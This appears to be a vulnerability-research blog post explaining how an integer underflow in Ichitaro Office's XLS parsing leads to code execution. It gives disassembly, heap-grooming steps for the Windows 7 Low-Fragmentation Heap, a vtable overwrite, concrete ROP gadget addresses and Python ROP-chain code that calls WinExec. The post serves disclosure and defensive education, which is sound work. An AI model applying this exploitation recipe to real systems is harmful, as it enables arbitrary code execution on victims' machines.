Vulnerability Deep Dive – Ichitaro Office Excel File Code Execution Vulnerability

Share this…

Vulnerabilities in word processing and office productivity suites are useful targets for exploitation by threat actors. Users frequently encounter file types used by these software suites in their day to day lives and may not question opening such files within an email or being prompted to download such a file from a website.

Some word processing software is widely used within communities using a specific language, but poorly known elsewhere. For example, Hancom’s Hangul Word Processor is widely used within South Korea and Ichitaro Office suite from JustSystems is widely used in Japan and Japanese speaking communities. Exploiting vulnerabilities in these and similar word processing systems allows attackers to target their attacks to a specific country or to the linguistic community of their intended victims. Presumably, attackers may believe that exploits against these systems may be less likely to be discovered by security researchers who may lack the necessary software which the vulnerability exploits.

The recent discovery by Talos of a sophisticated attack exploiting Hangul Word Processor underlines the ability of attackers with the necessary technical skills to create malicious files that target local office productivity suite software.

Talos has discovered three vulnerabilities within the Ichitaro Office suite, one of the most popular word processors used in Japan.

We have no indication that any of the three vulnerabilities we discovered in Ichitaro Office suite, have been exploited in the wild. Nevertheless, all three lead to a state where arbitrary code can be executed. We have chosen one of these vulnerabilities to explain in more detail how such a vulnerability may be exploited and to demonstrate what remote code execution means by launching calc.exe as an example.

The advisory for this particular vulnerability can be found here


This vulnerability revolves around an unchecked integer underflow of the size of a record of type 0x3c within a Workbook stream in an XLS file handled by Ichitaro.

While reading a Continue record (type 0x3c), the application calculates the number of bytes it needs to copy into memory. This calculation involves subtracting one from a value read from the file itself causing an integer underflow.

44b48cda 8b461e          mov     eax,dword ptr [esi+1Eh] // File data from Continue Record
44b48cdd 668b4802        mov     cx,word ptr [eax+2]     // Size from file (in our case 0)
44b48ce4 6649            dec     cx                      // Underflow the 0 to be 0xffff
44b48ce8 894d08          mov     dword ptr [ebp+8],ecx   // Store the 0xffff for later use

Later in the same function, this underflowed value is passed to the function handling the copying of file data.

44b48d04 0fb75508        movzx   edx,word ptr [ebp+8]   // Store 0xffff into edx
44b48d1f 52              push    edx                    // Push size
44b48d20 51              push    ecx                    // Push destination address 
44b48d21 83c005          add     eax,5
44b48d24 52              push    edx                    // Push size
44b48d25 50              push    eax                    // Push source address
44b48d26 e8c5f7ffff      call    JCXCALC!JCXCCALC_Jsfc_ExConvert+0xa4334 (44b484f0)

The main copy function does have a check to ensure that the size is greater than zero. The underflow value flies under the radar though and passes all checks. Below is the copy function commented with relevant variable names. Note, due to the same register being pushed in the above assembly, both size and size_ in the below C code are equivalent.

int JCXCALC!JCXCCALC_Jsfc_ExConvert+0xa4334(int src, int size, int dst, int size_)
  int result; 
  result = 0;
  if ( !size_ )
    return size;
  if ( size > size_ )
    return 0;
  if ( size > 0 )
    result = size;
      *dst = *src++;
    while ( size );
  return result;

The dst address is an allocation with a size also from the file of the surrounding TxO record (type 0x1b6). This size is multiplied by 2 before being passed to a malloc.

442c8bd8 668b470e        mov     ax,word ptr [edi+0Eh] // Size from TxO element
442c8bdc 50              push    eax
442c8bdd e88b87f6ff      call    JCXCALC!JCXCCALC_Jsfc_ExConvert+0xd1b1 (4423136d)
4423136d 0fb7442404      movzx   eax,word ptr [esp+4]
44231372 d1e0            shl     eax,1     // Attacker size * 2
44231374 50              push    eax
44231375 ff1580d42f44    call    ds:malloc // Controlled malloc
4423137b 59              pop     ecx
4423137c c3              ret

To recap, the vulnerability gives the following constructs to an attacker:

* Memory allocation of a controlled value multiplied by 2
* memcpy into the allocation of size 0xffff from attacker controlled file data

Overwrite target

If we wanted to exploit this vulnerability on Windows 7, the question is now, what is a good target to overwrite using the memcpy? One avenue could be attempting to overwrite the vtable of an object using virtual methods and so that way we can control the program counter using a user controlled pointer.

In order for this to be feasible, our object needs to be created with the following parameters:

* Object must be allocated with a predictable size into the heap's arena
* Object must be using virtual methods and have a virtual method table (vtable).
* Object must be destroyed after the overwrite happens.

An XLS file is composed of multiple document streams, where each stream is separated into different records. Each record can be described as a Type-Length-Value (TLV) structure. This means that each record will specify its type in the first few bytes, followed by the length of the record, followed by the number of bytes specified in the size describing the data which is contained within the record.

A small diagram is shown below:

| Type | Length | Value      |
struct Record {
    uint16_t type;
    uint16_t length;
    byte[length] value;

As an example, a record of type 0x3c that will contain the value of 0xdeadbeef would look like the following (length is 4 due to 0xdeadbeef being 4 bytes).

|Type    | Len    | Value      |
| 0x003c | 0x0004 | 0xdeadbeef |
<class excel.RecordGeneral>
[0] <instance uint2 'type'> +0x003c (60)
[2] <instance uint2 'length'> +0x0004 (4)
[4] <instance Continue 'data'> "\xad\xde\xed\xfe"

The parser would then iterate through all the records in the stream and then parse each record based on the type and value described by the record. Due to our third constraint for our target record, we want a type that creates some object with a vtable during parsing, but doesn’t free that object until some point after parsing the entire stream.

After research into the various types of records that the application is able to parse, it was discovered that the Row record has the following properties:

* Allocates a data structure of size 0x14
* This element's object does contain a vtable
* This element's object is destroyed during the parsing of the EOF record by calling its virtual destructor.

This means that an attacker could construct a file that contains a Row record, a few other specific records to precisely control memory, and then overwrite the Row record’s vtable. After this, they can conclude with an EOF record which would call the vtable belonging to the Row record.

The plan at this point is to position our overwrite from the TxO record before a previously allocated Row object in order to use it to overwrite the Row object’s vtable.

In order to position the attacker controlled element before the Row record, an abuse of the Windows 7 Low-Framentation Heap needs to be performed. A simplified explanation is described below.

Low-Fragmentation Heap

Windows 7 organizes its heap relative to the PEB and uses a combination of two allocators. One of which is the backend and the other which is the frontend. The frontend heap is an arena-based allocator known as the Low-Fragmentation Heap (LFH). This is mostly documented in Chris Valasek’s paper on the Low-Fragmentation heap:

An important characteristic of the LFH is that allocations are bucketed into chunks that are multiples of 8. Once a heap allocation is made, it’s size is divided by 8 and then used to determine which segment to return chunks from. Once the segment is identified, a pointer within the segment will actually point to the arena that chunks of that size are returned from. This would mean that the space allocated for the Row object (0x14) would be rounded up to bucket 0x18. For bucket 0x18, there are 255 slots that are available in the arena.


|  ...  | Arena | AggregateExchg.FreeEntryOffset | BlockSize |  ...  |
| Segment Pointer | ... | Signature | Block 1 | Block 2 | Block X... |

Another important characteristic of the LFH is that it isn’t actually used until the allocations of the target application follow a particular pattern. Until this happens, the allocator will use the backend allocator. To ensure the LFH heap is being used for a particular bucket size, the target application must make 0x12 (18) allocations of the same size. Once this is done, any allocations of that size will then be allocated using the front-end allocator. It was discovered that the Palette record is very flexible and can be used to make arbitrary allocations that are never freed. The steps to enable LFH for a bucket then are:

* Allocate 0x12 allocations of the same size using the Palette record.
* Make 255 allocations to force the allocator to allocate a new segment.
(Note: This can be consolidated into just making 255 - 0x12 allocations.)

When first allocating a segment, the platform will initialize the segment with an offset into the arena that determines the first chunk that is returned. When the arena for the segment is allocated, each chunk is pre-written with a 16-bit offset (FreeEntryOffset) that represents the offset to the next heap chunk to be returned. When an allocation is made, the 16-bit offset will be read from the beginning of the next free chunk within the arena and stored within the segment. The 16-bit offset in the chunk will then be overwritten as it is part of the allocation requested by the application.

Arena – Beginning

| Block 1 (Busy) | Block 2 (Free)     | Block 3 (Free) | Block X (Free) |
| Data: ...      | FreeEntryOffset: 3 | FEO: 4         | FEO: X+1       |

This way when another allocation is made, the allocator will set the FreeEntryOffset in the segment with the one in the chunk that is being allocated so that during the next allocation it will know the next chunk to return. When allocating a chunk, an atomic swap operation is performed between the offset in the chunk to be returned and the offset that’s located within the segment. This prevents concurrency issues when more than one thread is allocating from the same segment/arena.

    State 0 - Beginning
    Next slot: 3
    Offset to Block 3 currently loaded into segment
    | Block 3 (Free)     | Block 4 (Free)     | Block X (Free)       |
    | FreeEntryOffset: 4 | FreeEntryOffset: 5 | FreeEntryOffset: X+1 |
    State 1 - malloc
    Returns slot 3. Loads FreeEntryOffset from Block 3 into segment.
    Next slot: 4
                     Now offset to Block 4 is loaded into segment
    | Block 3 (Busy) | Block 4 (Free)     | Block X (Free)       |
    | Data: ...      | FreeEntryOffset: 5 | FreeEntryOffset: X+1 |
    State 2 - malloc
    Returns slot 4. Loads FreeEntryOffset from Block 4 into segment.
    Next slot: 5
                                      Offset to Block 5 is loaded into segment
    | Block 3 (Busy) | Block 4 (Busy) | Block X (Free)       |
    | Data: ...      | Data: ...      | FreeEntryOffset: X+1 |

The offsets are written into the same memory region as the chunk that is returned, so when the chunk is used by the application they will be overwritten by the data that application is storing to the chunk. Due to these offsets being cached inside the free chunks within the arena before an allocation happens, these values can be overwritten tricking the allocator into returning a chunk anywhere in the arena. The TxO record is used to overwrite the offset kept by each chunk in order to trick the allocator to return a slot of the attacker’s choosing.

State 0 - Beginning
Next slot: 4

| Block 3 (Busy) | Block 4 (Free)     | Block 5 (Free)     |
|                | FreeEntryOffset: 5 | FreeEntryOffset: 6 |

State 1 - TxO Record
Returns slot 3. Loads FreeEntryOffset (4) from Block 3 into segment.
Next slot: 4
| Block 3 (Busy) | Block 4 (Busy)   | Block 5 (Free)     |
|                | Data: TxO Record | FreeEntryOffset: 6 |

State 2 - TxO overwrites FreeEntryOffset
At this point, the FreeEntryOffset for the next block is overwritten with XXX.
In this example, we'll use 3 to return Block 3

| Block 3 (Busy) | Block 4 (Busy)   | Block 5 (Free)       |
|                | Data: TxO Record | FreeEntryOffset: XXX |
+                +         -------------------->           |

State 3 - malloc
The allocator will return Block 5 as it was the next block.
The FreeEntryOffset in Block 5 will be loaded into the segment
for the next allocation.

If the TxO record overwrote this value with 3, this would mean Block 3
would be returned as the next chunk.

| Block 3 (Busy) | Block 4 (Busy)   | Block 5 (Busy) |
|                | Data: TxO Record | Data: ...      |
+                +         -------------------->     |

State 4 - malloc
Returns Block 3. The first 16-bit word inside Block 3 will also be loaded
into the segment.

| Block 3 (Busy) | Block 4 (Busy)   | Block 5 (Busy) |
|                | Data: TxO Record | Data: ...      |

This positions an attacker in an optimal situation for overwriting an object that has been allocated earlier within the process’s timeline. The following steps can be used to position the TxO buffer in front of the Row object in order to overwrite its vtable.

    * Use TxO record to make an allocation of size 0x18 to be in the same arena as the Row object.
    * Overflow the TxO record to overwrite the FreeEntryOffset.
    * Allocate a Row object. This forces the overwritten FreeEntryOffset to be loaded into the segment.
    * Allocate another TxO record of the same size which will be positioned in front of the Row object.
    * Overflow the TxO record into the chunk containing the Row object in order to control its vtable.

After this occurs, parsing the last EOF record will cause the Row object’s vtable to be dereferenced in order to call the destructor for the Row object.

    0:000> r

    eax=deadbeeb ebx=ffffffff ecx=045d7d88 edx=0000ffff esi=00127040 edi=00000000
    eip=3f7205c7 esp=00126fdc ebp=00127028 iopl=0         nv up ei pl nz na po nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202
    3f7205c7 ff5004          call    dword ptr [eax+4]    ds:0023:deadbeef=????????
    0:000> .logclose
    0:000> dc ecx
    045d7d88  deadbeeb 64646464 64646464 64646464  dddddddddddddddd
    045d7d98  64646464 64646464 64646464 64646464  dddddddddddddddd
    045d7da8  64646464 64646464 64646464 64646464  dddddddddddddddd
    045d7db8  64646464 64646464 64646464 64646464  dddddddddddddddd
    045d7dc8  64646464 64646464 64646464 64646464  dddddddddddddddd
    045d7dd8  64646464 64646464 64646464 64646464  dddddddddddddddd
    045d7de8  64646464 64646464 64646464 64646464  dddddddddddddddd
    045d7df8  64646464 64646464 64646464 64646464  dddddddddddddddd

The attacker is now controlling a called function pointer.

Code Execution

Looking at the situation at the crash, the attacker has control of a called pointer and the contents of ecx point to an attacker controlled buffer. In order to achieve code execution, a bit of ROP gadget searching must occur to search for a stack pivot. The goal is for the attacker to control EIP as well as have the stack pointing into attacker controlled data. Luckily, the following modules are in the process space and are not affected by ASLR.

 0:000> !py mona mod -cm aslr=false
Module info :
Base       || Size       | ASLR  | Modulename,Path
0x5f800000 || 0x000b1000 | False | [JSFC.DLL]
0x026b0000 || 0x00007000 | False | [jsvdex.dll]
0x27080000 || 0x000e1000 | False | [JSCTRL.DLL]
0x3f680000 || 0x00103000 | False | [JCXCALC.DLL]
0x22150000 || 0x00018000 | False | [JSMACROS.DLL]
0x003b0000 || 0x00008000 | False | [JSCRT40.dll]
0x61000000 || 0x0013b000 | False | [JSAPRUN.DLL]
0x3c7c0000 || 0x01611000 | False | [T26com.DLL]
0x23c60000 || 0x00024000 | False | [JSDFMT.dll]
0x03ad0000 || 0x0000b000 | False | [JSTqFTbl.dll]
0x40030000 || 0x0002c000 | False | [JSFMLE.dll]
0x21480000 || 0x00082000 | False | [jsgci.dll]
0x02430000 || 0x00008000 | False | [JSSPLEX.DLL]
0x43ab0000 || 0x003af000 | False | [T26STAT.DLL]
0x217b0000 || 0x0001b000 | False | [JSDOC.dll]
0x22380000 || 0x0007a000 | False | [JSFORM.OCX]
0x211a0000 || 0x00049000 | False | [JSTDLIB.DLL]
0x21e50000 || 0x0002c000 | False | [JSPRMN.dll]
0x02a80000 || 0x0000e000 | False | [jsvdex2.dll]
0x277a0000 || 0x00086000 | False | [jsvda.dll]
0x61200000 || 0x000c6000 | False | [JSHIVW2.dll]
0x49760000 || 0x00009000 | False | [Jsfolder.dll]
0x210f0000 || 0x000a1000 | False | [JSPRE.dll]
0x213e0000 || 0x00022000 | False | [jsmisc32.dll]

Needless to say, there are an abundance of ROP gadgets available in these modules. The only problem is the attacker can’t directly call the ROP gadgets since the vtable entry is a pointer. After compiling a list of ROP gadgets, a search across all of the modules is necessary to see if any of the ROP gadget addresses appear in any of the modules, effectively looking for pointers to the found ROP gadgets. Luckily again, the following gadget emerges.

Gadget:0x5f8170bc : sub esp, 4
                    push ebx
                    push esi
                    mov eax, dword ptr [ecx + 0xa0]
                    push edi
                    push ebp
                    mov esi, ecx
                    test eax, eax
                    je 0x5f8170ee
                    push esi
                    call eax
gadget:0x5f8170bc : mov eax, dword ptr [ecx + 0xa0] ;
                    mov esi, ecx 
                    call eax

This gadget allows pointer to be dereferenced from the attacker controlled buffer and called directly, allowing for a direct gadget to be called. As a side effect from the first gadget, esi and ecx now point to the same attacker controlled buffer. The following gadget achieves the full stack pivot.

gadget:0x5f83636e : or bh, bh
                    push esi
                    pop esp
                    mov eax, edi
                    pop edi
                    pop esi
                    pop ebp
                    ret 0x1c
26051:0x5f83636e :  push esi
                    pop esp
                    ret 0x1c

The attacker now has full EIP and stack control, allowing for a proper ROP chain to be built.

    0:000> r
    eax=00000000 ebx=ffffffff ecx=04559138 edx=0000ffff esi=62626262 edi=5f86ecc8
    eip=deadbeef esp=0455926c ebp=62626262 iopl=0         nv up ei ng nz na pe nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010286
    deadbeef ??              ???
    0:000> dc esp
    0455926c  61616161 61616162 61616163 61616164  aaaabaaacaaadaaa
    0455927c  61616165 61616166 61616167 61616168  eaaafaaagaaahaaa
    0455928c  61616169 6161616a 6161616b 6161616c  iaaajaaakaaalaaa
    0455929c  6161616d 6161616e 6161616f 61616170  maaanaaaoaaapaaa
    045592ac  61616171 61616172 61616173 61616174  qaaaraaasaaataaa
    045592bc  61616175 61616176 61616177 61616178  uaaavaaawaaaxaaa
    045592cc  61616179 6261617a 62616162 62616163  yaaazaabbaabcaab
    045592dc  62616164 62616165 62616166 62616167  daabeaabfaabgaab

At this point, the attacker could try to retrieve WinExec by walking the import table of one of the DLLs for an entry into ntdll. From ntdll, an offset can be retrieved into Kernel32. From Kernel32, the offset into WinExec can be retrieved and a direct command can be executed. Or…

    $ r2 -q -c 'ii~WinExec' T26COM.DLL
    ordinal=110 plt=0x3d46c47c bind=NONE type=FUNC name=KERNEL32.dll_WinExec

…WinExec could be imported by one of the DLLs already and the attacker can simply use that address instead. A simple ROP chain is compiled to drop the string calc.exe into memory and passed to the WinExec pointer.

    command = ['calc', '.exe', '\0\0\0\0']
    for i,substr in enumerate(command):
        payload += pop_ecx_ret_8                # pop ecx; ret 8
        payload += p32(writable_addr + (i*4))   # Buffer to write the command
        payload += pop_eax_ret                  # pop eax; ret
        payload += p32(0xdeadbeec)              # eaten by ret 8
        payload += p32(0xdeadbeed)              # eaten by ret 8
        payload += substr                       # Current four bytes to write
        payload += write_mem                    # mov dword [ecx], eax; xor eax, eax; ret

Once the command string is in memory, dereferencing the WinExec pointer and calling it with the buffer executes the wanted command.

    # Deref WinExec import
    payload += pop_edi_esi_ebx_ret
    payload += p32(winexec-0x64)    # pop edi (offset due to [edi + 0x64])
    payload += p32(0xdeadbeee)      # eaten by pop esi
    payload += p32(0xdeadbeef)      # eaten by pop ebx
    # Call WinExec with buffer pointing to calc.exe
    payload += deref_edi_call       # mov esi, dword [edi + 0x64]; call esi
    payload += p32(writable_addr)   # Buffer with command
    payload += p32(1)               # Display the calc (0 will hide the command output)

The exploit shown in the video below was built for Ichitaro 2016 v0.3.2612 running on Windows 7.



At first glance reports stating that an application does not check that a size value supplied by a specific file format is greater than zero may sound like a bug rather than a vulnerability. We hope that this post goes someway to describe how a very simple omission in program logic may be exploited by an exploit developer to create a weaponized file that can be used to execute arbitrary code on a victim’s system.

The nature of vulnerabilities such as these, and their attractiveness to threat actors is why keeping systems up to date with patches is vital. This is also why Talos develops and releases detection for every vulnerability that we find before we publish the details of the vulnerability.